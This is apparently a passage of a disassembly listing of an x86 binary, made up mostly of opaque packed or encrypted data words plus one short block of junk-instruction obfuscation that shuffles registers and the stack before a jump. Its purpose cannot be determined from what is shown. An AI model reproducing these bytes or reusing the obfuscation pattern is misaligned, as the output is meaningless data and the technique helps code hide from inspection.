56061222h, 11E9h, 0C1284E00h, 20B84F44h, 0DD983E86h dd 6261455Fh, 0FF5A3713h, 121B85B5h, 101EBA06h, 95FF363Dh dd 6121B31h, 2051958Bh, 6A0612h, 19CD95FFh, 0C08B0612h dd 3E5628EBh, 0F9581BE8h, 94919A12h, 96978E7Ch, 63CB4D0Dh dd 0AE7ABDE9h, 7C8214B1h, 726D567Ch, 500EDD41h, 1F90B481h dd 0EB26E6h, 3D1E9h, 0A7130600h, 0BB251909h, 0D3352D1Dh dd 0E94F4535h, 0FE665B4Bh, 2694F360h, 3B2BC931h, 5242E044h dd 6B5BF959h, 76751371h, 387CA415h, 70837603h, 9E1B0F1Eh dd 0E907052Dh, 2EC6146Fh, 46A8A090h, 5CC2B8A8h, 75D9CEBEh dd 32C3CE94h, 746D65B0h, 5FD17C14h, 77B069FBh, 3AB8223Ch dd 4FED554Ah, 6604685Fh, 7F1D7D76h, 9937958Fh, 0F156C40Eh dd 4E333569h, 0C24BF654h, 2AA2951h, 37E23076h, 2AA9EC6h dd 0F55FAD76h, 665C12h, 0CDC393FDh, 0B426C967h, 0C0B92B84h dd 8C097340h, 0E6570281h, 7014C9D5h, 92E3E634h, 6FF4BE66h dd 11E5C59Eh, 0D82931BAh, 12201h, 1A0FA700h, 5EF65C52h dd 0AC35965Bh, 78AB223h, 5CFC6FE9h, 0DB6A1131h, 66D01E1Dh dd 0E908B7F3h, 9598E66Fh, 3227E5DFh, 0A49432CAh, 18A14CAAh dd 0E9087FA7h, 4971E26Fh, 506FE908h, 0BDB50302h, 85E61C7h dd 6D60BB9Eh, 15188276h, 0B7C27BFh, 69FB1052h, 742A2D7Bh dd 61171A7Ch, 0A9060967h, 1F9012F2h, 75FB10F7h, 8720B806h dd 1F19E8C8h, 9F8E23C1h, 0FBE85904h, 0A700D2Fh, 178811BCh dd 6FE930EFh, 6346B0FEh, 0B250B8ADh, 6265CDC2h, 0CE790807h dd 0E930055Dh, 28C6146Fh, 20F69893h, 6EC4C727h, 0E930B3DBh dd 0D46CBA6Fh, 0D991B729h, 2BBB7EC6h, 6EE70F80h, 0A8F66FE9h dd 0A12AB33Eh, 0E96E0830h, 5FC9176Fh, 0FB76DFECh, 0DDE02E69h dd 46B73227h, 75FB751Eh, 0DCDB3B34h, 6858F68Eh, 0D7600B73h dd 0FB753E66h, 95FF4D75h, 4FC049B2h, 75FB7527h, 17EE836h dd 57C87306h, 75FB74F3h, 446CDD66h, 4B75FB75h, 66B493FDh dd 1BE3D8C8h, 8A28C024h, 642575E7h, 9598FAF2h, 27BEAB3Fh dd 6A437FE9h, 3459E463h, 2D4C6410h, 0B079EA95h, 0F969FB9Bh dd 0F8F2A8ABh, 4AE2403Ah, 0AF8C5AACh, 65EA363Dh, 6AD83Dh dd 0FBF58483h, 0FB0C7CA8h, 1109DF75h, 0EC56ACAFh, 1EBC1A14h dd 0D3D6342Eh, 0C2C5231Dh, 0ABAE180Ch, 959800F5h, 71E0C079h dd 0AB7A5A13h, 0C0B553B1h, 0DE2F7F69h, 2AB0h, 636A5600h dd 0B211FBE4h, 2EC68A93h, 2C24FA83h, 34ED60CAh, 6569FB66h dd 645E1417h, 8B855B06h, 6AD42A2Dh, 270DECh, 0FBB0000h dd 0FB595319h, 0B0AA6063h, 199F9F2h, 6137C063h, 0AA00036Dh dd 0E907EF17h, 2C9DFE6Fh, 6FE90704h, 0BB25BD0Bh, 0B3190F7Fh dd 44B51615h, 6FE90710h, 0E3A59D73h, 308689EBh, 0D53F9598h dd 27FDA8F6h, 33C2D12Fh, 0C3269079h, 75DEC12Bh, 0B92116ECh dd 0A5CD60B6h, 0B46FE9F7h, 2A24FC66h, 0B372C9CCh, 0A70F04D3h dd 0E6474EA4h, 0C0B81610h, 6FFA64CAh, 0E9F7CAFEh, 0E08BD96Fh dd 0AB71E557h, 8E48DB2Ah, 9B89B124h, 42906FE9h, 759D0E97h dd 846FE99Bh, 5E4ECC36h, 0AF680664h, 2F11CFh, 0FBF0000h dd 4BB4B715h, 72951C2h, 0E2306FE9h, 79EC637h, 5FAD6FE9h dd 0B2231DF5h, 7F82E4DCh, 76E9629h, 0CF7D6FE9h, 1A7073D9h dd 0E24CEA82h, 0B01C0FA6h, 9FFDF7ADh, 8DEDE69Ch, 79DDD48Ah dd 63CBC076h, 4DB5AA60h, 389E944Ah, 25877F35h, 0E786C22h db 0Bh, 4Dh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edi push 749Ch mov [esp], eax push ebp push edx mov edx, 61A31F7h mov ebp, edx pop edx mov edi, ebp pop ebp sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop eax sub esp, 4 mov [esp], edi pop dword ptr [eax+8] push dword ptr [esp] pop eax add esp, 4 push dword ptr [esp] pop edi add esp, 4 jmp loc_54EA15 ; --------------------------------------------------------------------------- dd 27FBDCA2h, 30095506h, 0A6F66527h, 4CB88CB0h, 3061A35h dd 0EBE0FFC5h, 0D332120Ch, 5405ACC9h, 0F038286h, 0B0595FBAh dd 3F714FB6h, 8A179D76h, 0D20FA61Ch, 4346AB45h, 9A55EE2Ch dd 0B80B69B8h, 0C5013D7Fh, 863802A4h, 496C97EEh, 644B1242h dd 1B65B810h, 47C84FEh, 7610BCAEh, 511114B3h, 0D72CF38Ah dd 6821F95Bh, 9B3CB436h, 0E5EB4EAh, 0C60E5424h, 141E5A65h dd 79451BDFh, 6555378Ch, 0E83FDE61h, 0E86DCAA0h, 150DD319h dd 921BF7E4h, 0F1599CAh, 68Dh, 0A3E28100h, 0F401204h, 18Ch dd 8166F800h, 8B2CF0EBh, 3870FCEh, 66000000h, 0CE8CE8Bh dd 8E000000h, 0EB988C48h, 43471AB9h, 0F186A79h, 665FD1BFh dd 0D235C681h, 0BE8h, 232BF700h, 0AC7E0AF0h, 8532062Ah dd 800Fh, 0E95E0000h, 0Ah, 0FBEA757Dh, 71A5F925h, 2CB28B78h dd 6E8h, 0C6DFEA00h, 5733202Bh, 0DE8h, 9AB83900h, 2AE11BAFh dd 33D8DCF9h, 5E5F9391h, 0FDCB459h, 88h, 0B1E08100h, 0F19253Dh dd 387h, 73D98000h, 0FDDB8166h, 0B0F18AB6h, 0B6B460F3h dd 0B93365BAh, 8F0F612Ah, 2, 0DB81F08Ah, 5893C648h, 28B0Fh dd 0ACB60000h, 80DFBF0Fh, 52F9FBC6h, 2850Fh, 5B570000h dd 66F18B58h, 0EE9F78Bh, 0DA000000h, 4259C6FDh, 7C082FE8h dd 39C3C8A2h, 0B3CA8BD1h, 6653601Ch, 665ECB8Bh, 0E57CEE81h dd 68F0F61h, 0F000000h, 85h, 890F00h, 0B9000000h, 64F40D50h dd 0B9A1D280h, 4B4C7778h, 9BC9BB66h, 0D58057F5h, 0BF0F5885h dd 5E9C6h, 6D3B0000h, 53F5EF05h, 5E616051h, 66C68A5Fh dd 3275E681h, 944EE881h, 0BA6674CDh, 0EABF60E0h, 6068F0A2h dd 6E8h, 385D4A00h, 8AF6688Ch, 0FE85AE7h, 0AE000000h, 14CEB371h dd 8A11BA21h, 0A1530D14h, 0AB68409h, 12E9615Fh, 9E000000h dd 0C9902E78h, 7FB769EFh, 40E49A0h, 23B6713Bh, 8AF9FCCDh dd 7E9C2h, 46770000h, 0A788B74Ch, 13E93Ah, 18A60000h, 0B1AAF083h dd 0A87EEED8h, 0CA39EAE3h, 863837A3h, 11B96606h, 14E9F962h dd 69000000h, 2DA00307h, 0BE632AB3h, 192EF322h, 0EAD19101h dd 0FEE3D7Fh, 1480h, 9E96000h, 0F3000000h, 0EEE3CC28h dd 120A917h, 0DEB3B866h, 6E861h, 133A0000h, 555E790Fh dd 805EB5B1h, 8D0F36C9h, 3, 0F948CD80h, 0E9C0B70Fh, 7 dd 39468A1Bh, 660697FEh, 0FB7FEB8h, 0D8Bh, 8E900h, 5E360000h dd 0DE16E434h, 0FE9602Ah, 44000000h, 0F4F519Eh, 8CCF3A85h dd 0C36D2171h, 0D38BE24Ch, 0B53DBA66h, 5928B953h, 50597C7Eh dd 0D08B665Bh, 0AD753CB9h, 0D3C7817Dh, 805D931Ah, 0D181BDE5h dd 4FBCF1FDh, 0E9EAF180h, 14h, 19733905h, 24EA61Ch, 908DE8B0h dd 95387CDEh, 0D0273573h, 66FE8BF5h, 13E9C68Bh, 95000000h dd 7BB7B5F9h, 7F25A982h, 178BE8CEh, 4ABF12FCh, 0FE8BBCBBh dd 17F78160h, 0E86B0D0Dh, 0Dh, 0AEDC071Ch, 0FECD07C3h dd 764C57C3h, 8E9E9h, 55FD0000h, 1A749BFEh, 615A93B4h dd 0BB66EF8Ah, 14E9E27Ch, 46000000h, 96C5C8E4h, 5CCF0A63h dd 5D6A7A4h, 8ACC01DAh, 667C8541h, 0B41FE881h, 0FC6BF0Fh dd 0D78BC0BFh, 0FF8B70Fh, 97B8CEBFh, 811BB126h, 0C7B95CD8h dd 5FD8817Ch, 0F45646Fh, 820FF2B7h, 0Ch, 7E9h, 79A2FF00h dd 8B4C7A6Bh, 13E9h, 9A2E8200h, 44357E45h, 0A24008F3h dd 7DB86224h, 0F86F09DAh, 45A5BF66h, 3860Fh, 0B70F0000h dd 0C18AFCFAh, 94C143BAh, 0C6BF0F36h, 0E2F68166h, 6E952h dd 61E50000h, 83008782h, 0FD7BF0Fh, 0B80h, 58C0F00h, 66000000h dd 8A76E381h, 0BF0FD98Bh, 11E9CFh, 0B1A80000h, 0BE761B4Eh dd 8DB4ADFh, 8909DC58h, 0F68BA8Eh, 289h, 66F78B00h, 8E0FF88Bh dd 3, 0E87EC180h, 0Ch, 1AB8B9E9h, 79257BF0h, 0CD6C1074h dd 57D7D081h, 0B35A4CD4h, 810F40h, 66000000h, 91A2D381h dd 0C8C5B8F5h, 9E80FC2h, 0F0000000h, 0A69ED355h, 0C3153BA8h dd 4361F381h, 8A59387Dh, 0EE9EAh, 40510000h, 0DC28A355h dd 0CFAA8EF9h, 0A1FEBB7Ch, 9E8h, 8B630D00h, 2A5011C0h dd 0F535B42h, 5F5ED8B7h, 60F08166h, 6820FB8h, 81000000h dd 251BEFC0h, 5E858h, 2BBD0000h, 8B113E31h, 0AAB55FF2h dd 14E8h, 0BEDA8000h, 0DC1B9CDBh, 0BA7C4062h, 997DF1AEh dd 9ABE0BE0h, 58DE8BF5h, 0DE9h, 86951D00h, 5E3B1B99h, 0D10B49E7h dd 8BFC865Ch, 0E95760CAh, 10h, 8D25072Bh, 0FD953A8Bh, 0C435FEE7h dd 8539CF2Dh, 61EEB35Ah, 128F0Fh, 0DE90000h, 0FA000000h dd 8AD21B6Ah, 0A1C2F297h, 20936FEAh, 9E9h, 4470DF00h, 0CB7CFFCCh dd 0CF8142F0h, 5D85F682h, 7BD38166h, 0F5652DFh, 5E5EC9BFh dd 1A49F8BEh, 9830F6Ch, 0F000000h, 381h, 0F98B6600h, 80DA8B66h dd 7E9DAD1h, 5C000000h, 2CFAE249h, 0B8666717h, 0F603C31h dd 38Eh, 0F08B6600h, 585F5050h, 0BE961h, 4D1E0000h, 0B3D917DEh dd 5D6D2316h, 0B491B371h, 38C98007h, 3890Fh, 0EB800000h dd 2E6BB809h, 8C0F7F44h, 9, 38E0Fh, 8B660000h, 0F68166CAh dd 0A1B26C29h, 0AE8h, 0FEB2B300h, 0F5209D5Ah, 816E2100h dd 67E8A8C6h, 81665B7Eh, 0E90A24E6h, 10h, 9CFE1CD1h, 0DD1B8BECh dd 0D0536650h, 0AEB82D8Fh, 6FEA8051h, 0E2DB815Ah, 0F4EDF0Bh dd 582h, 63DDBA00h, 0CF816C63h, 6DD04146h, 8C33D081h, 0B966297Bh dd 0D48A1582h, 0CE9h, 0CA9C5C00h, 9ED13D28h, 80972854h dd 168D0F42h, 0E9000000h, 11h, 4CD4980Fh, 0DB912BDDh, 734AE749h dd 4ECA9260h, 58E0FDEh, 66000000h, 1E23D681h, 88F0Fh, 8F0F0000h dd 2, 0D3806160h, 0D1B70FD5h, 50F6B70Fh, 5836D480h, 0DDB8BEF5h dd 8B66293Ch, 9E8D9h, 1F550000h, 643A9855h, 0E80FADD2h dd 0Bh, 48B614C5h, 31CC96C4h, 80FCB219h, 585F74DFh, 0E960F08Ah dd 7, 87D7C663h, 6188571Fh, 3840Fh, 0F9600000h, 66F18B61h dd 8157F08Bh, 7FF7FCC2h, 0FE85A6Ah, 0F3000000h, 0E4345E36h dd 602ADE16h, 107AD723h, 0BE66C672h, 0E95A1425h, 10h, 0DC12D329h dd 4D6C90CBh, 7DAB23D4h, 62E89F1Bh, 0E9ECB0F9h, 12h, 0DC237745h dd 988A8D6Ah, 58CC8F89h, 0C694F390h, 0CE82DC2h, 0D4000000h dd 0F30223DDh, 0A7C30E0Eh, 66EC9A8Fh, 0D14DE281h, 0CA8B605Fh dd 61C6BF0Fh, 0BE8h, 0C3AB9900h, 2150EEB2h, 0E31E249Eh dd 0CE9h, 0FCDB5E00h, 304CD976h, 0A731D200h, 816658DDh dd 0FDA89E8h, 66FCC6B7h, 8E0FF28Bh, 10h, 8E850h, 647A0000h dd 61FD1712h, 5E5A792Ah, 9CC1D881h, 8B667D89h, 21E281D6h dd 0F776167h, 0C8Eh, 7E900h, 14290000h, 0A7AA96BAh, 0FEBF0F8Ch dd 3890Fh, 8B660000h, 0AE857F9h, 0E5000000h, 196237FDh dd 0AD3650CDh, 0DEBF0FABh, 0D8805F5Ah, 6E95Eh, 0C50A0000h dd 84E8A1D0h, 0EE8166F5h, 0B70F9B4Bh, 41B966F2h, 14C081C4h dd 6027A0E7h, 0A348F781h, 0B70F1AB0h, 99B461C2h, 14E8h dd 0F59FD00h, 0EB35DFEFh, 0C0761524h, 16F73B12h, 0CCF4845Fh dd 9FB9660Fh, 860F5E56h, 5, 94F63BFh, 0CE979h dd 0ADAC0000h, 456FAC79h, 0B8641871h, 810F5E1Fh, 6, 6918DE81h dd 8C0F0068h, 5, 16DD0BEh, 0C081665Ah, 0EB812B53h, 1DBEDF59h dd 38B0Fh, 0B70F0000h, 0F38166D8h, 0BA667A09h, 8B66E01Ah dd 2BD080CAh, 13E9h, 0C7859A00h, 8AD66222h, 0A8E99B3h dd 0DBE7900Ch, 0AB99B6F7h, 5860Fh, 81660000h, 8BDF82E2h dd 8B99BAC7h, 0A8BB7978h, 6603430Ah, 18A1D181h, 7C979CBEh dd 12E96035h, 0FC000000h, 16558560h, 77D9E3EDh, 0D6F07F87h dd 2C9CD08h, 0E861F911h, 10h, 5A228F3Fh, 9E14ADA9h, 29176EA1h dd 0DD507A17h, 35C38166h, 0BF0F5E7Eh, 14E860F8h, 6C000000h dd 9E28C5D2h, 0D3E5DBEDh, 914E07EEh, 675CC060h, 0BAA26276h dd 237CE933h, 10E959h, 0DB020000h, 8DE341C0h, 0C2D86569h dd 4DB852FFh, 0F6154C8h, 0E78AFFBFh, 9E8h, 8536F800h, 48FBEFABh dd 8B665513h, 5E95BC1h, 0D3000000h, 0CD55625Bh, 0D22EBF66h dd 0FDA8B66h, 58Bh, 0DB816600h, 66511827h, 5E9DD9BFh, 5890Fh dd 94B90000h, 0BF5C0941h, 2E549CD2h, 78A0Fh, 66510000h dd 3AA1F281h, 0B048BF59h, 0E381449Fh, 3337EFC8h, 13EA8166h dd 0CB816673h, 0D3817727h, 1C65A4A8h, 8BB9ED80h, 1893B8F3h dd 0F78B3C4Eh, 0DE9h, 0A8358A00h, 2E0A40E0h, 970F7152h dd 0CE90EE1h, 9E000000h, 0C81AE002h, 2713922Bh, 51B2FD6Eh dd 0BB52515Bh, 250D3844h, 0E9F5585Bh, 10h, 8D9A6699h, 8BDA073Ah dd 0B7743699h, 43E44F20h, 9464BF66h, 0F2EA8166h, 0E9FE8AE1h dd 5, 0AF7771AAh, 0FC28A3Eh, 1587h, 10E900h, 0ED430000h dd 0F05AF32Eh, 0B6579D3Bh, 0A21D3FB9h, 14B20EDFh, 5FF78166h dd 0C5CD8007h, 8166F28Bh, 80A056D6h, 0CE92BD3h, 0BD000000h dd 0AE039548h, 34B445D8h, 0B0D4024Ah, 0AE950h, 8A980000h dd 0E5C804A5h, 855C3EE2h, 68F0Fh, 0C9810000h, 79E31521h dd 666004B5h, 8166F18Bh, 617DC2D2h, 66607AB0h, 0E9388EBAh dd 0Ch, 56912C5Ch, 0C2AAE3E8h, 791D5429h, 0FBBF0F61h, 0EE960h dd 0F3F40000h, 0F659D238h, 9B6F2262h, 0AFCA1D97h, 61F3BF0Fh dd 3810Fh, 0B70F0000h, 0F6B70FDAh, 0FF7B70Fh, 688h, 79EE8100h dd 66648197h, 81AD7ABEh, 5DF6BBEFh, 6E95605h, 0A3000000h dd 0CE85EB34h, 14E95856h, 93000000h, 0CAB4F3B0h, 42704D50h dd 487DC659h, 734BACD5h, 0FF9D613h, 7E9FEBFh, 8A000000h dd 0A1C2F297h, 0CB806FEAh, 0A840F62h, 0F000000h, 48Eh dd 0FEBB6600h, 0F28B60C8h, 58B0Fh, 14BA0000h, 61170572h dd 0CE9h, 3A3F2000h, 7A1EDDD1h, 74B0BE81h, 6E959h, 6EC90000h dd 520E6FAFh, 0E9F98B66h, 0Dh, 0B86936C4h, 52F57A2Ah, 84E733E6h dd 0D681663Ch, 0B966DB28h, 0D3800FC6h, 0CE8B5h, 0D7DB0000h dd 0B7CED4C2h, 9B7A34Ah, 0BF0F06C2h, 0D6BE5BF8h, 0F7D6701h dd 38Ch, 9EE58000h, 7870Fh, 8E0F0000h, 1, 0D1B70FF8h, 11E9h dd 0C015E600h, 0C47EF2BBh, 0A230DE7Ch, 0F9C712F4h, 0DA800A17h dd 7830FBBh, 56000000h, 718AC4BFh, 0EF815F1Eh, 4E109883h dd 7FC8E281h, 60607E60h, 0BC38166h, 0B70F614Ah, 0FFC61CBh dd 82h, 10E800h, 0FDFD0000h, 0DE95255Fh, 0D7F9076Fh, 43A69B40h dd 8166DE0Eh, 5F8518F7h, 67DFBB66h, 748082BBh, 800F606Ch dd 5, 74DB8166h, 0B3E9BF9Bh, 0E961154Ah, 12h, 918B5298h dd 9E6B7DBBh, 9E302A4Eh, 632BB765h, 8B665089h, 0FA7B2D0h dd 0A80h, 0D3BE6000h, 0F7CB9D4h, 0F61D1B7h, 38Fh, 0F08B6600h dd 8B66FA8Bh, 0E88166CFh, 8B66979Ah, 0C38BF9CEh, 6E89BB5h dd 49000000h, 78900CDh, 5FCEB0E3h, 0F9B70F60h, 0EE8h, 0D1A6C900h dd 0B51A5711h, 0CEAE810Ah, 607E32E9h, 0E8615861h, 6, 0B406796h dd 8166775Eh, 5BB928D6h, 0E3E08166h, 0E860521Eh, 0Ch, 6A5A2D11h dd 392BA5FBh, 0D0E6F129h, 61F08B5Bh, 5E85Eh, 0E01B0000h dd 0B16CEBBDh, 74BE5F92h, 0B9308161h, 67C946F1h, 0CCBB6656h dd 0B56058B0h, 0E0816625h, 66619E9Fh, 0C3E8E181h, 0FE8B66FCh dd 35E18166h, 0B7D18BC2h, 28C88026h, 0F913D580h, 0CE9F5h dd 38410000h, 5481F0E0h, 0A3203B75h, 8A0FDFC5h, 6, 6245DA81h dd 0E96047BBh, 13h, 3CC8A546h, 0ADAFBC1Bh, 61C4690Ah, 0C4B6E833h dd 0B7E48CF4h, 0B70F6149h, 0FEBE53DBh, 5F481749h, 94CB8166h dd 0CE72BF26h, 8B667EA0h, 0AE8C6h, 0FC6A0000h, 1043D077h dd 0BE695405h, 0CE9h, 5962F700h, 72D2F326h, 19F78400h dd 880F5F88h, 9, 3840Fh, 0B70F0000h, 0F88B60C8h, 61A2DE80h dd 5EF28B50h, 0B70FC28Bh, 0CBBEF9FBh, 8B7BB762h, 0CDBF66CAh dd 0E8BF60CDh, 6027758Ah, 560CCE80h, 6661615Eh, 0DDC7EA81h dd 0EE9h, 0F140CD00h, 0A113A7Fh, 0E8A1D0C5h, 669B9F84h dd 606B6ABEh, 0FE8h, 1875FB00h, 0B23D7B28h, 38562198h dd 66BA04DFh, 66585F53h, 61F2B0BAh, 0CCEE8166h, 0E961602Ah dd 9, 41CF2579h, 1207C290h, 0F6816608h, 0C681523Ch, 71FBB029h dd 5E857h, 81D20000h, 66FB99A6h, 5BE035BEh, 0FE85Fh, 64910000h dd 0AE2369A3h, 4CE839B8h, 0A1F4411h, 59526063h, 66565F61h dd 5B37C4B9h, 98B0Fh, 66600000h, 0BF66C18Bh, 0BB61BFA3h dd 0E8E564Eh, 5E9h, 2F3E8700h, 0EA8A120Eh, 14E8h, 0EE628A00h dd 0F23E2000h, 0C17DE923h, 21DC7047h, 654C7CF2h, 0CE8604Dh dd 4B000000h, 5DF7FBCh, 68672E19h, 584FC60Bh, 59615F56h dd 0A6CBC881h, 7E943C8h, 0B6000000h, 1930BB0Eh, 0BAF8CCA3h dd 75539444h, 0AE8D88Bh, 4D000000h, 0D72E153h, 0A5A902F1h dd 2860FA1h, 0B7000000h, 0D8805E7Ah, 6840F37h, 60000000h dd 61605F52h, 0F2BB6661h, 85B966BAh, 3FBF6614h, 8F0F56FBh dd 3, 5A68CC80h, 0B71BB66h, 2ED614BAh, 0BDE98107h, 66476A32h dd 0D38BDF8Bh, 0AE9h, 0E6733000h, 18FCA532h, 0F083D09h dd 18Ah, 0D78BF900h, 64F68166h, 0F38B6646h, 0B840Fh, 6E90000h dd 35000000h, 0E8D59C3Dh, 7E978h, 4D030000h, 9D9042F1h dd 5E8EEh, 4DB20000h, 6662A14Ah, 7F14E781h, 0CE95Bh, 6B490000h dd 4A1B426Ah, 0BD05CBAFh, 5A5233FEh, 0BAD9BF0Fh, 46132BB1h dd 0F2D8BA66h, 7E9h, 0CA335B00h, 922ECE5h, 11E9h, 6C567D00h dd 28B11ADBh, 1985CCCAh, 160696AEh, 0AE81318h, 4B000000h dd 0B4972C7Ah, 0F2E02A5Eh, 13E925h, 4C9D0000h, 8B30FDB4h dd 0BF54DBFh, 4AECCDFDh, 0CFB416CAh, 0BE85EE6h, 0E0000000h dd 0C85FAA7Eh, 0FC4103F6h, 6060F994h, 880F61h, 61000000h dd 0E994B259h, 12h, 0CC7F33FEh, 9FA65F28h, 74C8ED8Dh, 0E7D5C551h dd 0EE815B86h, 1B268AE5h, 0FDB96653h, 7E95874h, 1D000000h dd 2C3F0237h, 0BF6655AAh, 0F081FA06h, 4145EA36h, 5857D18Bh dd 10E8h, 0B2AA3300h, 73206B6Fh, 142ACA56h, 5ABC386Dh dd 17BE6083h, 8009038Eh, 586197DAh, 6EBF6660h, 6850FFEh dd 0F000000h, 82h, 0F28B6100h, 0BD25BA66h, 0B70FC58Ah dd 0CE8C2h, 5F160000h, 0FCCF484h, 18A160B8h, 0F58A19B4h dd 8870F58h, 0F000000h dd 285h, 8AC68B00h, 0AFBE66F8h, 7F4FBB40h, 81663A42h, 0F6719C6h dd 8166C8B7h, 0BE7887C2h, 176A0E3Bh, 12E9h, 0FC730600h dd 129DEC2Eh, 31E97F36h, 0D411FC6Ch, 0F4B6757h, 38Fh, 0F38B6600h dd 13E8h, 0AA2B600h, 870D8088h, 0EDF37715h, 76D44A1Eh dd 0B143BFE1h, 0DDFBE181h, 66592553h, 0DA8BF38Bh, 8E8h dd 0F3133E00h, 0BD643B29h, 3830F47h, 66000000h, 0E85EDA8Bh dd 13h, 841389A4h, 27751858h, 70A1C890h, 98F42096h, 0F1F49C3h dd 0E8Fh, 9E900h, 33610000h, 0F4C4B6E8h, 58EEE48Ch, 11E9h dd 1A791300h, 7A02A887h, 0E039009Dh, 0D8C861EBh, 0F528C4Fh dd 18Ch, 665BFC00h, 0B966C38Bh, 12E9125Bh, 2E000000h, 0D54EA313h dd 2DD88652h, 3A9F5D9Bh, 717948B1h, 608FB7E4h, 3800Fh dd 0CE800000h, 1810F1Ah, 0F9000000h, 6E8F961h, 0C2000000h dd 0C15CDA2Eh, 7E95130h, 3B000000h, 47851A47h, 5A5921F4h dd 6E952h, 0D8D70000h, 78EE2AE4h, 10E958h, 0EF670000h dd 70E98CC7h, 0D8F8A6EEh, 9A05965Fh, 0BF0F8AEAh, 0D180D7h dd 951EB860h, 0F3B255CEh, 48F0F61h, 60000000h, 6661F9F8h dd 812E78BAh, 3F9766F2h, 0B966FC3Bh, 10E98427h, 2000000h dd 0E52C900Bh, 2BC3F21Eh, 13135E8Fh, 6630A676h, 8151DF8Bh dd 132873C3h, 0F0815B16h, 76D94754h, 5118C780h, 0C44D83BAh dd 0B2565E63h, 0BF0F5E85h, 0F0BF0FD8h, 0CE9h, 0E6D7EF00h dd 21A87CEEh, 0E7626D86h, 1CA0BB5Dh, 6660567Dh, 0F375DF81h dd 0F5C28161h, 662D0CF6h, 0B229D381h, 4AC08166h, 7C1814Ch dd 80457B1Dh, 8166DBC2h, 6098D9C2h, 6E9h, 208DF800h, 66FF2405h dd 617F72B9h, 0D18BC68Bh, 0DBE08160h, 817181BDh, 0F7AA12D6h dd 8B66614Ch, 9782B8C6h, 890F4B5Eh, 3, 8B73DF80h, 1880FD9h dd 0F5000000h, 0D1EA85B9h, 148E0F08h, 0E9000000h, 0Fh dd 0C772C3EBh, 210AA99h, 89118BD2h, 8B98F8E6h, 70B866CBh dd 13BB6697h, 0DE8B666Fh, 0F1BF280h, 870FC0BFh, 1, 0CE8B60F8h dd 63DFBF66h, 0B9D38B61h, 2AEF1DBAh, 5E9h, 78D1AF00h, 14E98B6Bh dd 0AE000000h, 0A2AF6B2Ch, 0D1A6C9C9h, 0B51A5711h, 0CEAE810Ah dd 0F7E32E9h, 58Bh, 4DAAB800h, 0F506398h, 8058D2BFh, 0BE81ED5h dd 2B000000h, 32094700h, 59F66EDEh, 0F5606992h, 850Fh dd 5F610000h, 8FBFCF81h, 38BF06C1h, 665E6374h, 8E0FC18Bh dd 2, 8166CF8Bh, 50C727E3h, 5FC2B70Fh, 11E8h, 5EF17100h dd 0B2B3B5DDh, 209D5AFEh, 6E2100F5h, 830F7697h, 16h, 10E8h dd 0FCCA3800h, 0ED296DD7h, 3DBD6AECh, 917793D4h, 8B585E0Fh dd 33B0FCF2h, 0C35FA1BAh, 0DE92Bh, 0DFC0000h, 176C524Bh dd 89EA13A7h, 0FE8E129h, 0B860DAB7h, 46DFDBA2h, 0BFA0D681h dd 0F612BADh, 0C89h, 6890F00h, 81000000h, 49A1BBE1h, 3BB86613h dd 0F08B66A2h, 5810Fh, 81660000h, 0F7F79F2h, 8166F9B7h dd 6082C4C2h, 0CBBF0F53h, 0C8806158h, 8E9EBh, 5430000h dd 7C795DE5h, 8A50EFBDh, 0FF558FDh, 8B66F6B7h, 0E68166FBh dd 8B66F6A0h, 0DE8DFh, 58430000h, 0E5369811h, 9F4D9940h dd 5A69DDEAh, 8840Fh, 81500000h, 58BD0FD6h, 0B70F5E25h dd 0D38B66F8h, 0FF86FB0h, 8166C6BFh, 8A67CAD1h, 0C18B66CBh dd 5880Fh, 81660000h, 8BEC5FD1h, 0D5B866C7h, 268F0F16h dd 60000000h, 0EE8h, 0EE953500h, 0C56554B1h, 0EF22E261h dd 5A5B66C8h, 0AE8h, 0AC047900h, 49B13DC8h, 59B45B6Dh dd 0EE961h, 11C40000h, 7193AEECh, 80959FFEh, 0F161D2D0h dd 3551DA81h, 14E849EDh, 0EF000000h, 27A8528Fh, 0D85D2AEDh dd 73C91CCAh, 1495BB29h, 0F5DF42C6h, 0E88AB25Eh, 0Ch, 1558B79Ch dd 0ED3DCC42h, 851EEEB8h, 5840Fh, 81660000h, 5AE5DCF1h dd 0E95371B0h, 10h, 400F64BDh, 43EEF723h, 67828196h, 4FEF7F0Ch dd 0BBD1815Eh, 503212EFh, 28D0Fh, 5A560000h, 0BB66605Bh dd 0CF8B88DEh, 0E9816661h, 0C88BFF6Ah, 816046B4h, 0C2F289DAh dd 0BE945h, 88F80000h, 0C01150FEh, 87548BE7h, 8B6661B2h dd 5E9D0h, 95850000h, 51187CBEh, 12E8h, 4499D900h, 0AFEF5FE7h dd 8D77AFA6h, 0A7E6CE55h, 0E90648B8h, 8, 6C88FC5h, 8E78FEE0h dd 81605F5Eh, 3977B1C1h, 0D1816618h, 8061DC53h, 81661FD4h dd 0F6CA4D8h, 6660D3BFh, 3FC3C981h, 0BE9h, 0C79F6000h dd 3B922FCh, 0A4C20772h, 5E961h, 6A290000h, 0F5A9B468h dd 78BB88B0h, 0F4770D8h, 18Fh, 66F9F800h, 95EDE781h, 26EA8060h dd 10E9h, 3203F900h, 36E96AE0h, 12C25D84h, 0F01BC035h dd 66526172h, 5E4EE2BAh, 0BE8h, 0A557D200h, 0A6F2134Fh dd 0CE97F6F4h, 9E9h, 8A410900h, 6CE185A4h, 665F87CCh, 66F9D08Bh dd 0C68AF28Bh, 8B51F18Bh, 816658C7h, 0FA7EAF3h, 48Ch, 36B96600h dd 58FC56B3h, 81FEBF0Fh, 0E6CD7DD2h, 0C0B70F5Bh, 0FE9h dd 3E442A00h, 45CC0A4Eh, 0D01355B0h, 264E42CFh, 0FE8F9h dd 0FAEA0000h, 0F1469264h, 5ADBAC85h, 0D749EBC8h, 0D2BF0F50h dd 13E85Ah, 0BA4E0000h, 76508D28h, 28D94AD5h, 4FFCA2h dd 0BDCA5BFBh, 0AE9DDh, 5BF30000h, 4328B0C2h, 4F69D768h dd 0F950BE5Fh, 0CE90AD7h, 0FA000000h, 0C7228A2Fh, 0DF55E4C9h dd 0E90E311Bh, 12h, 24D99E3Ch, 0C97E7113h, 0E8E306DDh dd 79262F46h, 5E88FB7h, 0E1000000h, 0D740C3C1h, 14E9h dd 0EAAE6500h, 0E0F448C6h, 0F40931DCh, 0FD880D33h, 70AFA9BCh dd 